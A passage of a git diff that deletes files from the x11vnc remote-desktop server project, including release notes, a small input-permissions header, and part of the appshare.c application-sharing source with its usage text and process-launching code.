- -flag: write PORT=5900 to a flag file to aid wrapper scripts.
- -http: try to guess what the -httpdir should be and if found
- enable http listening.
- -clip WxH+X+Y: only show the specified rectangle not the
- entire screen.
- cursors are now scaled by default under -scale, use -scale_cursor
- to modify this behavior.
- -arrow n: select from some different arrow cursors (ignored under
- XFIXES cursor grabbing mode).
- -nolookup: disable DNS lookups for broken environments.
- -seldir: fine tune and debug selection transfer.
- build-time customization macros: SHARED, FOREVER, NOREPEAT,
- REMOTE_CONTROL, SMALL_FOOTPRINT, default passwd, etc.
- see the top of the x11vnc.c for more info.
- -xtrap: DEC-XTRAP extension is supported for legacy systems
- with insufficient XTEST extension (X11R5).
- -shiftcmap: for legacy systems with non-standard colormap values.
- -noxrecord: do not use the RECORD extension for anything (currently
- only -scrollcopyrect and grabserver watching use it).
- -grab_buster: fork a helper thread to watch for XGrabServer deadlock
- in x11vnc and break the grab. Under -scrollcopyrect there
- is a small window where x11vnc is vulnerable to this deadlock.
- -dbg: A "crash shell" with tips on debugging will be presented
- instead of exiting when a fatal error occurs.
- -fixscreen: periodically refresh the screen to get rid of painting
- errors, etc. induced by new features, jpeg compression, etc.
- -speeds: Tell x11vnc what the network and fb speeds are instead of
- having it try to measure them. (these speeds are used by
- various features, such as -wireframe, -scrollcopyrect, etc.).
- -wmdt: set the window manager or desktop to spare x11vnc from guessing.
- -readtimeout: set libvncserver's read timeout parameter, useful on
- very slow links that take more than 20secs to paint
- the whole screen.
- -nopw: If you use x11vnc without a password it now prints out a
- scary warning message. Use -nopw to disable the warning.
- plugged X event leaks; periodically purge any remaining buildup.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.7.1 2005-02-24
-
-
-New in the 0.7.1 x11vnc release:
-
- Improved algorithm for approximating XFIXES cursors with
- transparency (alpha channel). No more ugly black fuzz
- around translucent cursors. Tuning parameters -alpha*
- if it is still not right.
-
- Added mechanisms to handle XFIXES cursors with transparency
- exactly (i.e. blend in the background). Works by default
- under -nocursorshape updates, and also works under limited
- circumstances for cursorshape updates if the VNC viewer
- is patched (TightVNC viewer patch provided).
-
- -solid: to improve performance switch the background to a solid
- color when clients are connected. Works on GNOME, KDE,
- CDE, and classic X.
-
- -input: allows fine-tuning the type of allowed user input
- (Keystroke, Mouse-motion, Button-click). Useful for
- certain applications of x11vnc, e.g. demos. Also
- per-client settings via -R input:xyz..
-
- -users: enables switching to different users if started as root.
- Please read the description for details.
-
- -gui ez: less daunting GUI with fewer options via '-gui ez' or
- "Misc -> simple-gui" once started.
-
- miscellaneous new features and changes:
-
- -nap is now the default, use -nonap to disable.
- -snapfb: snapshot h/w fb to RAM periodically, not clear how useful...
- -timeout n: for use in certain applications, exit if no client
- connects after n seconds.
- -oa and -logappend for appending to logfiles.
- -opts will just show the options w/o the long -help descriptions.
- if you forget to set -display, it will beep and try :0 after a bit.
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.7 2004-12-23
-
-
-New in the 0.7 x11vnc release:
-
- Support for the XFIXES X extension to show the exact mouse cursor
- shape. Requires libXfixes. For approximate cursor
- shapes also see: -cursor (none|arrow|X|some|most)
-
- -remote/-R: remote-control support: nearly every setting can be
- changed dynamically without restarting x11vnc. For
- example, "x11vnc -R shared", and "x11vnc -R scale:3/4"
- will connect to a running x11vnc server to make it shared
- and re-scaled, respectively.
-
- -gui: launches a simple tcl/tk GUI based on the remote control
- function. Requires the tcl/tk "wish" program.
-
- -overlay: support for overlay/multi-depth (e.g. 24+8) visuals
- on Solaris (SUN_OVL extension) and IRIX.
-
- -xrandr: support for the XRANDR (X Resize, Rotate and Reflection)
- extension: if the screen changes size or rotates x11vnc
- creates a new framebuffer to match it. Useful to have a VNC
- Viewer that supports NewFBSize extension. (also -padgeom)
-
- -pointer_mode: Experimental pointer input handling schemes,
- e.g.: "-pointer_mode 3" (similar to -nodragging)
-
- man page x11vnc.1 and README files created.
-
- miscellaneous new features and changes:
-
- -sb: set screen blank idle timeout
- -nocursorshape: disable cursor shape VNC extension.
- RFB_MODE = "accept" or "gone" passed to -accept/-gone commands.
- -vncconnect is now the default.
- -norepeat is now the default.
- "-id pick" to pick a window via xwininfo for the -id option.
- -sid option: like -id but crops root window instead.
- Related to remote-control: -query, -noremote, -sync,
- -deny_all, -safer, -unsafe.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.6.2 2004-08-02
-
-New in the 0.6.2 x11vnc release:
-
- -scale option for server side scaling (e.g. -scale 2/3).
-
- -storepasswd option to create VNC password files.
-
- ~/.x11vncrc simple config file support.
-
- -cursorpos now the default (send cursor position updates to clients
- that understand them, disable with -nocursorpos)
-
- more connection info sent to the -accept and -gone commands.
-
- new keyboard related features:
-
- -modtweak is now the default (it automatically adjusts the modifier
- keys state to send a Keysym properly, disable -nomodtweak)
- this works around "ghost" keys like "< >" in XFree86.
-
- -xkb option to use XKEYBOARD extension for modtweak-ing to further
- improve the accuracy of sending Keysyms between different
- language keyboards.
-
- -skip_keycodes and -add_keysyms options to fine tune stubborn
- keyboard differences.
-
- -norepeat option to turn off X server key autorepeat when clients
- are connected (works around the repeated characters problem)
-
- -clear_mods and -clear_keys to send key release events at
- startup and exit.
-
- removed options:
-
- -hints/-nohints: we now always use hints.
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help
-
------------------------------------------------------------------------------
-
diff --git a/x11vnc/allowed_input_t.h b/x11vnc/allowed_input_t.h
deleted file mode 100644
index 99e814e..0000000
--- a/x11vnc/allowed_input_t.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_ALLOWED_INPUT_T_H
-#define _X11VNC_ALLOWED_INPUT_T_H
-
-/* -- allowed_input_t.h -- */
-
-typedef struct allowed_input {
- int keystroke;
- int motion;
- int button;
- int clipboard;
- int files;
-} allowed_input_t;
-
-#endif /* _X11VNC_ALLOWED_INPUT_T_H */
diff --git a/x11vnc/appshare.c b/x11vnc/appshare.c
deleted file mode 100644
index 71cdf17..0000000
--- a/x11vnc/appshare.c
+++ /dev/null
@@ -1,2124 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- appshare.c -- */
-
-#include "x11vnc.h"
-
-extern int pick_windowid(unsigned long *num);
-extern char *get_xprop(char *prop, Window win);
-extern int set_xprop(char *prop, Window win, char *value);
-extern void set_env(char *name, char *value);
-extern double dnow(void);
-
-static char *usage =
-"\n"
-" x11vnc -appshare: an experiment in application sharing via x11vnc.\n"
-"\n"
-#if !SMALL_FOOTPRINT
-" Usage: x11vnc -appshare -id windowid -connect viewer_host:0\n"
-" x11vnc -appshare -id pick -connect viewer_host:0\n"
-"\n"
-" Both the -connect option and the -id (or -sid) option are required.\n"
-" (However see the -control option below that can replace -connect.)\n"
-"\n"
-" The VNC viewer at viewer_host MUST be in 'listen' mode. This is because\n"
-" a new VNC connection (and viewer window) is established for each new\n"
-" toplevel window that the application creates. For example:\n"
-"\n"
-" vncviewer -listen 0\n"
-"\n"
-" The '-connect viewer_host:0' indicates the listening viewer to connect to.\n"
-"\n"
-" No password should be used, otherwise it will need to be typed for each\n"
-" new window (or one could use vncviewer -passwd file if the viewer supports\n"
-" that.) For security an SSH tunnel can be used:\n"
-"\n"
-" ssh -R 5500:localhost:5500 user@server_host\n"
-"\n"
-" (then use -connect localhost:0)\n"
-"\n"
-" The -id/-sid option is as in x11vnc(1). It is either a numerical window\n"
-" id or the string 'pick' which will ask the user to click on an app window.\n"
-" To track more than one application at the same time, list their window ids\n"
-" separated by commas (see also the 'add_app' command below.)\n"
-"\n"
-" Additional options:\n"
-"\n"
-" -h, -help Print this help.\n"
-" -debug Print debugging output (same as X11VNC_APPSHARE_DEBUG=1)\n"
-" -showmenus Create a new viewer window even if a new window is\n"
-" completely inside of an existing one. Default is to\n"
-" try to not show them in a new viewer window.\n"
-" -noexit Do not exit if the main app (windowid/pick) window\n"
-" goes away. Default is to exit.\n"
-" -display dpy X DISPLAY to use.\n"
-" -trackdir dir Set tracking directory to 'dir'. x11vnc -appshare does\n"
-" better if it can communicate with the x11vnc's via a\n"
-" file channel. By default a dir in /tmp is used, -trackdir\n"
-" specifies another directory, or use 'none' to disable.\n"
-" -args 'string' Pass options 'string' to x11vnc (e.g. -scale 3/4,\n"
-" -viewonly, -wait, -once, etc.)\n"
-" -env VAR=VAL Set environment variables on cmdline as in x11vnc.\n"
-"\n"
-" -control file This is a file that one edits to manage the appshare\n"
-" mode. It replaces -connect. Lines beginning with '#'\n"
-" are ignored. Initially start off with all of the\n"
-" desired clients in the file, one per line. If you add\n"
-" a new client-line, that client is connected to. If you\n"
-" delete (or comment out) a client-line, that client is\n"
-" disconnected (for this to work, do not disable trackdir.)\n"
-"\n"
-" You can also put cmd= lines in the control file to perform\n"
-" different actions. These are supported:\n"
-"\n"
-" cmd=quit Disconnect all clients and exit.\n"
-" cmd=restart Restart all of the x11vnc's.\n"
-" cmd=noop Do nothing (e.g. ping)\n"
-" cmd=x11vnc Run ps(1) looking for x11vnc's\n"
-" cmd=help Print out help text.\n"
-" cmd=add_window:win Add a window to be watched.\n"
-" cmd=del_window:win Delete a window.\n"
-" cmd=add_app:win Add an application to be watched.\n"
-" cmd=del_app:win Delete an application.\n"
-" cmd=add_client:host Add client ('internal' mode only)\n"
-" cmd=del_client:host Del client ('internal' mode only)\n"
-" cmd=list_windows List all tracked windows.\n"
-" cmd=list_apps List all tracked applications.\n"
-" cmd=list_clients List all connected clients.\n"
-" cmd=list_all List all three.\n"
-" cmd=print_logs Print out the x11vnc logfiles.\n"
-" cmd=debug:n Set -debug to n (0 or 1).\n"
-" cmd=showmenus:n Set -showmenus to n (0 or 1).\n"
-" cmd=noexit:n Set -noexit to n (0 or 1).\n"
-"\n"
-" See the '-command internal' mode described below for a way\n"
-" that tracks connected clients internally (not in a file.)\n"
-"\n"
-" In '-shell' mode (see below) you can type in the above\n"
-" without the leading 'cmd='.\n"
-"\n"
-" For 'add_window' and 'del_window' the 'win' can be a\n"
-" numerical window id or 'pick'. Same for 'add_app'. Be\n"
-" sure to remove or comment out the add/del line quickly\n"
-" (e.g. before picking) or it will be re-run the next time\n"
-" the file is processed.\n"
-"\n"
-" If a file with the same name as the control file but\n"
-" ending with suffix '.cmd' is found, then commands in it\n"
-" (cmd=...) are processed and then the file is truncated.\n"
-" This allows 'one time' command actions to be run. Any\n"
-" client hostnames in the '.cmd' file are ignored. Also\n"
-" see below for the X11VNC_APPSHARE_COMMAND X property\n"
-" which is similar to '.cmd'\n"
-"\n"
-" -control internal Manage connected clients internally, see below.\n"
-" -control shell Same as: -shell -control internal\n"
-"\n"
-" -delay secs Maximum timeout delay before re-checking the control file.\n"
-" It can be a fraction, e.g. -delay 0.25 Default 0.5\n"
-"\n"
-" -shell Simple command line for '-control internal' mode (see the\n"
-" details of this mode below.) Enter '?' for command list.\n"
-"\n"
-" To stop x11vnc -appshare press Ctrl-C, or (if -noexit not supplied) delete\n"
-" the initial app window or exit the application. Or cmd=quit in -control mode.\n"
-"\n"
-#if 0
-" If you want your setup to survive periods of time where there are no clients\n"
-" connected you will need to supply -args '-forever' otherwise the x11vnc's\n"
-" will exit when the last client disconnects. Howerver, _starting_ with no\n"
-" clients (e.g. empty control file) will work without -args '-forever'.\n"
-"\n"
-#endif
-" In addition to the '.cmd' file channel, for faster response you can set\n"
-" X11VNC_APPSHARE_COMMAND X property on the root window to the string that\n"
-" would go into the '.cmd' file. For example:\n"
-"\n"
-" xprop -root -f X11VNC_APPSHARE_COMMAND 8s -set X11VNC_APPSHARE_COMMAND cmd=quit\n"
-"\n"
-" The property value will be set to 'DONE' after the command(s) is processed.\n"
-"\n"
-" If -control file is specified as 'internal' then no control file is used\n"
-" and client tracking is done internally. You must add and delete clients\n"
-" with the cmd=add_client:<client> and cmd=del_client:<client> commands.\n"
-" Note that '-control internal' is required for '-shell' mode. Using\n"
-" '-control shell' implies internal mode and -shell.\n"
-"\n"
-" Limitations:\n"
-"\n"
-" This is a quick lash-up, many things will not work properly.\n"
-"\n"
-" The main idea is to provide simple application sharing for two or more\n"
-" parties to collaborate without needing to share the entire desktop. It\n"
-" provides an improvement over -id/-sid that only shows a single window.\n"
-"\n"
-" Only reverse connections can be done. (Note: one can specify multiple\n"
-" viewing hosts via: -connect host1,host2,host3 or add/remove them\n"
-" dynamically as described above.)\n"
-"\n"
-" If a new window obscures an old one, you will see some or all of the\n"
-" new window in the old one. The hope is this is a popup dialog or menu\n"
-" that will go away soon. Otherwise a user at the physical display will\n"
-" need to move it. (See also the SSVNC viewer features described below.) \n"
-"\n"
-" The viewer side cannot resize or make windows move on the physical\n"
-" display. Again, a user at the physical display may need to help, or\n"
-" use the SSVNC viewer (see Tip below.)\n"
-"\n"
-" Tip: If the application has its own 'resize corner', then dragging\n"
-" it may successfully resize the application window.\n"
-" Tip: Some desktop environments enable moving a window via, say,\n"
-" Alt+Left-Button-Drag. One may be able to move a window this way.\n"
-" Also, e.g., Alt+Right-Button-Drag may resize a window.\n"
-" Tip: Clicking on part of an obscured window may raise it to the top.\n"
-" Also, e.g., Alt+Middle-Button may toggle Raise/Lower.\n"
-"\n"
-" Tip: The SSVNC 1.0.25 unix and macosx vncviewer has 'EscapeKeys' hot\n"
-" keys that will move, resize, raise, and lower the window via the\n"
-" x11vnc -remote_prefix X11VNC_APPSHARE_CMD: feature. So in the\n"
-" viewer while holding down Shift_L+Super_L+Alt_L the arrow keys\n"
-" move the window, PageUp/PageDn/Home/End resize it, and - and +\n"
-" raise and lower it. Key 'M' or Button1 moves the remote window\n"
-" to the +X+Y of the viewer window. Key 'D' or Button3 deletes\n"
-" the remote window.\n"
-"\n"
-" You can run the SSVNC vncviewer with options '-escape default',\n"
-" '-multilisten' and '-env VNCVIEWER_MIN_TITLE=1'; or just run\n"
-" with option '-appshare' to enable these and automatic placement.\n"
-"\n"
-" If any part of a window goes off of the display screen, then x11vnc\n"
-" may be unable to poll it (without crashing), and so the window will\n"
-" stop updating until the window is completely on-screen again.\n"
-"\n"
-" The (stock) vnc viewer does not know where to best position each new\n"
-" viewer window; it likely centers each one (including when resized.)\n"
-" Note: The SSVNC viewer in '-appshare' mode places them correctly.\n"
-"\n"
-" Deleting a viewer window does not delete the real window.\n"
-" Note: The SSVNC viewer Shift+EscapeKeys+Button3 deletes it.\n"
-"\n"
-" Sometimes new window detection fails.\n"
-"\n"
-" Sometimes menu/popup detection fails.\n"
-"\n"
-" Sometimes the contents of a menu/popup window have blacked-out regions.\n"
-" Try -sid or -showmenus as a workaround.\n"
-"\n"
-" If the application starts up a new application (a different process)\n"
-" that new application will not be tracked (but, unfortunately, it may\n"
-" cover up existing windows that are being tracked.) See cmd=add_window\n"
-" and cmd=add_app described above.\n"
-"\n"
-#endif
-;
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define WMAX 192
-#define CMAX 128
-#define AMAX 32
-
-static Window root = None;
-static Window watch[WMAX];
-static Window apps[WMAX];
-static int state[WMAX];
-static char *clients[CMAX];
-static XWindowAttributes attr;
-static char *ticker_atom_str = "X11VNC_APPSHARE_TICKER";
-static Atom ticker_atom = None;
-static char *cmd_atom_str = "X11VNC_APPSHARE_COMMAND";
-static Atom cmd_atom = None;
-static char *connect_to = NULL;
-static char *x11vnc_args = "";
-static char *id_opt = "-id";
-static int skip_menus = 1;
-static int exit_no_app_win = 1;
-static int shell = 0;
-static int tree_depth = 3;
-static char *prompt = "appshare> ";
-static char *x11vnc = "x11vnc";
-static char *control = NULL;
-static char *trackdir = "unset";
-static char *trackpre = "/tmp/x11vnc-appshare-trackdir-tmp";
-static char *tracktmp = NULL;
-static char unique_tag[100];
-static int use_forever = 1;
-static int last_event_type = 0;
-static pid_t helper_pid = 0;
-static pid_t parent_pid = 0;
-static double helper_delay = 0.5;
-static int appshare_debug = 0;
-static double start_time = 0.0;
-
-static void get_wm_name(Window win, char **name);
-static int win_attr(Window win);
-static int get_xy(Window win, int *x, int *y);
-static Window check_inside(Window win);
-static int ours(Window win);
-static void destroy_win(Window win);
-static int same_app(Window win, Window app);
-
-static void ff(void) {
- fflush(stdout);
- fflush(stderr);
-}
-
-static int find_win(Window win) {
- int i;
- for (i=0; i < WMAX; i++) {
- if (watch[i] == win) {
- return i;
- }
- }
- return -1;
-}
-
-static int find_app(Window app) {
- int i;
- for (i=0; i < AMAX; i++) {
- if (apps[i] == app) {
- return i;
- }
- }
- return -1;
-}
-
-static int find_client(char *cl) {
- int i;
- for (i=0; i < CMAX; i++) {
- if (cl == NULL) {
- if (clients[i] == NULL) {
- return i;
- }
- continue;
- }
- if (clients[i] == NULL) {
- continue;
- }
- if (!strcmp(clients[i], cl)) {
- return i;
- }
- }
- return -1;
-}
-
-static int trackdir_pid(Window win) {
- FILE *f;
- int ln = 0, pid = 0;
- char line[1024];
-
- if (!trackdir) {
- return 0;
- }
- sprintf(tracktmp, "%s/0x%lx.log", trackdir, win);
- f = fopen(tracktmp, "r");
- if (!f) {
- return 0;
- }
- while (fgets(line, sizeof(line), f) != NULL) {
- if (ln++ > 30) {
- break;
- }
- if (strstr(line, "x11vnc version:")) {
- char *q = strstr(line, "pid:");
- if (q) {
- int p;
- if (sscanf(q, "pid: %d", &p) == 1) {
- if (p > 0) {
- pid = p;
- break;
- }
- }
- }
- }
- }
- fclose(f);
- return pid;
-}
-
-static void trackdir_cleanup(Window win) {
- char *suffix[] = {"log", "connect", NULL};
- int i=0;
- if (!trackdir) {
- return;
- }
- while (suffix[i] != NULL) {
- sprintf(tracktmp, "%s/0x%lx.%s", trackdir, win, suffix[i]);
- if (appshare_debug && !strcmp(suffix[i], "log")) {
- fprintf(stderr, "keeping: %s\n", tracktmp);
- ff();
- } else {
- if (appshare_debug) {
- fprintf(stderr, "removing: %s\n", tracktmp);
- ff();
- }
- unlink(tracktmp);
- }
- i++;
- }
-}
-
-static void launch(Window win) {
- char *cmd, *tmp, *connto, *name;
- int len, timeo = 30, uf = use_forever;
- int w = 0, h = 0, x = 0, y = 0;
-
- if (win_attr(win)) {
- /* maybe switch to debug only. */
- w = attr.width;
- h = attr.height;
- get_xy(win, &x, &y);
- }
-
- get_wm_name(win, &name);
-
- if (strstr(x11vnc_args, "-once")) {
- uf = 0;
- }
-
- if (control) {
- int i = 0;
- len = 0;
- for (i=0; i < CMAX; i++) {
- if (clients[i] != NULL) {
- len += strlen(clients[i]) + 2;
- }
- }
- connto = (char *) calloc(len, 1);
- for (i=0; i < CMAX; i++) {
- if (clients[i] != NULL) {
- if (connto[0] != '\0') {
- strcat(connto, ",");
- }
- strcat(connto, clients[i]);
- }
- }
- } else {
- connto = strdup(connect_to);
- }
- if (!strcmp(connto, "")) {
- timeo = 0;
- }
- if (uf) {
- timeo = 0;
- }
-
- len = 1000 + strlen(x11vnc) + strlen(connto) + strlen(x11vnc_args)
- + 3 * (trackdir ? strlen(trackdir) : 100);
-
- cmd = (char *) calloc(len, 1);
- tmp = (char *) calloc(len, 1);
-
- sprintf(cmd, "%s %s 0x%lx -bg -quiet %s -nopw -rfbport 0 "
- "-timeout %d -noxdamage -noxinerama -norc -repeat -speeds dsl "
- "-env X11VNC_AVOID_WINDOWS=never -env X11VNC_APPSHARE_ACTIVE=1 "
- "-env X11VNC_NO_CHECK_PM=1 -env %s -novncconnect -shared -nonap "
- "-remote_prefix X11VNC_APPSHARE_CMD:",
- x11vnc, id_opt, win, use_forever ? "-forever" : "-once", timeo, unique_tag);
-
- if (trackdir) {
- FILE *f;
- sprintf(tracktmp, " -noquiet -o %s/0x%lx.log", trackdir, win);
- strcat(cmd, tracktmp);
- sprintf(tracktmp, "%s/0x%lx.connect", trackdir, win);
- f = fopen(tracktmp, "w");
- if (f) {
- fprintf(f, "%s", connto);
- fclose(f);
- sprintf(tmp, " -connect_or_exit '%s'", tracktmp);
- strcat(cmd, tmp);
- } else {
- sprintf(tmp, " -connect_or_exit '%s'", connto);
- strcat(cmd, tmp);
- }
- } else {
- if (!strcmp(connto, "")) {
- sprintf(tmp, " -connect '%s'", connto);
- } else {
- sprintf(tmp, " -connect_or_exit '%s'", connto);
- }
- strcat(cmd, tmp);
- }
- if (uf) {
- char *q = strstr(cmd, "-connect_or_exit");
- if (q) q = strstr(q, "_or_exit");
- if (q) {
- unsigned int i;
- for (i=0; i < strlen("_or_exit"); i++) {
- *q = ' ';
- q++;
- }
- }
- }
-
- strcat(cmd, " ");
- strcat(cmd, x11vnc_args);
-
- fprintf(stdout, "launching: x11vnc for window 0x%08lx %dx%d+%d+%d \"%s\"\n",
- win, w, h, x, y, name);
-
- if (appshare_debug) {
- fprintf(stderr, "\nrunning: %s\n\n", cmd);
- }
- ff();
-
- system(cmd);
-
- free(cmd);
- free(tmp);
- free(connto);
- free(name);
-}
-
-static void stop(Window win) {
- char *cmd;
- int pid = -1;
- int f = find_win(win);
- if (f < 0 || win == None) {
- return;
- }
- if (state[f] == 0) {
- return;
- }
- if (trackdir) {
- pid = trackdir_pid(win);
- if (pid > 0) {
- if (appshare_debug) {fprintf(stderr,
- "sending SIGTERM to: %d\n", pid); ff();}
- kill((pid_t) pid, SIGTERM);
- }
- }
-
- cmd = (char *) malloc(1000 + strlen(x11vnc));
- sprintf(cmd, "pkill -TERM -f '%s %s 0x%lx -bg'", x11vnc, id_opt, win);
- if (appshare_debug) {
- fprintf(stdout, "stopping: 0x%08lx - %s\n", win, cmd);
- } else {
- fprintf(stdout, "stopping: x11vnc for window 0x%08lx "
- "(pid: %d)\n", win, pid);
- }
- ff();
- system(cmd);
-
- sprintf(cmd, "(sleep 0.25 2>/dev/null || sleep 1; pkill -KILL -f '%s "
- "%s 0x%lx -bg') &", x11vnc, id_opt, win);
- system(cmd);
-
- if (trackdir) {
- trackdir_cleanup(win);
- }
-
- free(cmd);
-}
-
-static void kill_helper_pid(void) {
- int status;
- if (helper_pid <= 0) {
- return;
- }
- fprintf(stderr, "stopping: helper_pid: %d\n", (int) helper_pid);
- kill(helper_pid, SIGTERM);
- usleep(50 * 1000);
- kill(helper_pid, SIGKILL);
- usleep(25 * 1000);
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_WAITPID
- waitpid(helper_pid, &status, WNOHANG);
-#endif
-}
-
-static void be_helper_pid(char *dpy_str) {
- int cnt = 0;
- int ms = (int) (1000 * helper_delay);
- double last_check = 0.0;
-
- if (ms < 50) ms = 50;
-
-#if NO_X11
- fprintf(stderr, "be_helper_pid: not compiled with X11.\n");
-#else
- dpy = XOpenDisplay(dpy_str);
- ticker_atom = XInternAtom(dpy, ticker_atom_str, False);
-
- while (1) {
- char tmp[32];
- sprintf(tmp, "HELPER_CNT_%08d", cnt++);
- XChangeProperty(dpy, DefaultRootWindow(dpy), ticker_atom, XA_STRING, 8,
- PropModeReplace, (unsigned char *) tmp, strlen(tmp));
- XFlush(dpy);
- usleep(ms*1000);
- if (parent_pid > 0) {
- if(dnow() > last_check + 1.0) {
- last_check = dnow();
- if (kill(parent_pid, 0) != 0) {
- fprintf(stderr, "be_helper_pid: parent %d is gone.\n", (int) parent_pid);
- break;
- }
- }
- }
- }
-#endif
- exit(0);
-}
-
-static void print_logs(void) {
- if (trackdir) {
- DIR *dir = opendir(trackdir);
- if (dir) {
- struct dirent *dp;
- while ( (dp = readdir(dir)) != NULL) {
- FILE *f;
- char *name = dp->d_name;
- if (!strcmp(name, ".") || !strcmp(name, "..")) {
- continue;
- }
- if (strstr(name, "0x") != name) {
- continue;
- }
- if (strstr(name, ".log") == NULL) {
- continue;
- }
- sprintf(tracktmp, "%s/%s", trackdir, name);
- f = fopen(tracktmp, "r");
- if (f) {
- char line[1024];
- fprintf(stderr, "===== x11vnc log %s =====\n", tracktmp);
- while (fgets(line, sizeof(line), f) != NULL) {
- fprintf(stderr, "%s", line);
- }
- fprintf(stderr, "\n");
- ff();
- fclose(f);
- }
- }
- closedir(dir);
- }
- }
-}
-
-static void appshare_cleanup(int s) {
- int i;
- if (s) {}
-
- if (use_forever) {
- /* launch this backup in case they kill -9 us before we terminate everything */
- char cmd[1000];
- sprintf(cmd, "(sleep 3; pkill -TERM -f '%s') &", unique_tag);
- if (appshare_debug) fprintf(stderr, "%s\n", cmd);
- system(cmd);
- }
-
- for (i=0; i < WMAX; i++) {
- if (watch[i] != None) {
- stop(watch[i]);
- }
- }
-
- if (trackdir) {
- DIR *dir = opendir(trackdir);
- if (dir) {
- struct dirent *dp;
- while ( (dp = readdir(dir)) != NULL) {
- char *name = dp->d_name;
- if (!strcmp(name, ".") || !strcmp(name, "..")) {
- continue;
- }
- if (strstr(name, "0x") != name) {
- fprintf(stderr, "skipping: %s\n", name);
- continue;
- }
- if (!appshare_debug) {
- fprintf(stderr, "removing: %s\n", name);
- sprintf(tracktmp, "%s/%s", trackdir, name);
- unlink(tracktmp);
- } else {
- if (appshare_debug) fprintf(stderr, "keeping: %s\n", name);
- }
- }
- closedir(dir);
- }
- if (!appshare_debug) {
- if (strstr(trackdir, trackpre) == trackdir) {
- if (appshare_debug) fprintf(stderr, "removing: %s\n", trackdir);
- rmdir(trackdir);
- }
- }
- ff();
- }
-
- kill_helper_pid();
-
-#if !NO_X11
- XCloseDisplay(dpy);
-#endif
- fprintf(stdout, "done.\n");
- ff();
- exit(0);
-}
-
-static int trap_xerror(Display *d, XErrorEvent *error) {
- if (d || error) {}
- return 0;
-}
-
-#if 0
-typedef struct {
- int x, y; /* location of window */
- int width, height; /* width and height of window */
- int border_width; /* border width of window */
- int depth; /* depth of window */
- Visual *visual; /* the associated visual structure */
- Window root; /* root of screen containing window */
- int class; /* InputOutput, InputOnly*/
- int bit_gravity; /* one of bit gravity values */
- int win_gravity; /* one of the window gravity values */
- int backing_store; /* NotUseful, WhenMapped, Always */
- unsigned long backing_planes;/* planes to be preserved if possible */
- unsigned long backing_pixel;/* value to be used when restoring planes */
- Bool save_under; /* boolean, should bits under be saved? */
- Colormap colormap; /* color map to be associated with window */
- Bool map_installed; /* boolean, is color map currently installed*/
- int map_state; /* IsUnmapped, IsUnviewable, IsViewable */
- long all_event_masks; /* set of events all people have interest in*/
- long your_event_mask; /* my event mask */
- long do_not_propagate_mask; /* set of events that should not propagate */
- Bool override_redirect; /* boolean value for override-redirect */
- Screen *screen; /* back pointer to correct screen */
-} XWindowAttributes;
-#endif
-
-static void get_wm_name(Window win, char **name) {
- int ok;
-
-#if !NO_X11
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- ok = XFetchName(dpy, win, name);
- XSetErrorHandler(old_handler);
-#endif
-
- if (!ok || *name == NULL) {
- *name = strdup("unknown");
- }
-}
-
-static int win_attr(Window win) {
- int ok = 0;
-#if !NO_X11
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- ok = XGetWindowAttributes(dpy, win, &attr);
- XSetErrorHandler(old_handler);
-#endif
-
- if (ok) {
- return 1;
- } else {
- return 0;
- }
-}
-
-static void win_select(Window win, int ignore) {
-#if !NO_X11
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- if (ignore) {
- XSelectInput(dpy, win, 0);
- } else {
- XSelectInput(dpy, win, SubstructureNotifyMask);
- }
- XSync(dpy, False);
- XSetErrorHandler(old_handler);
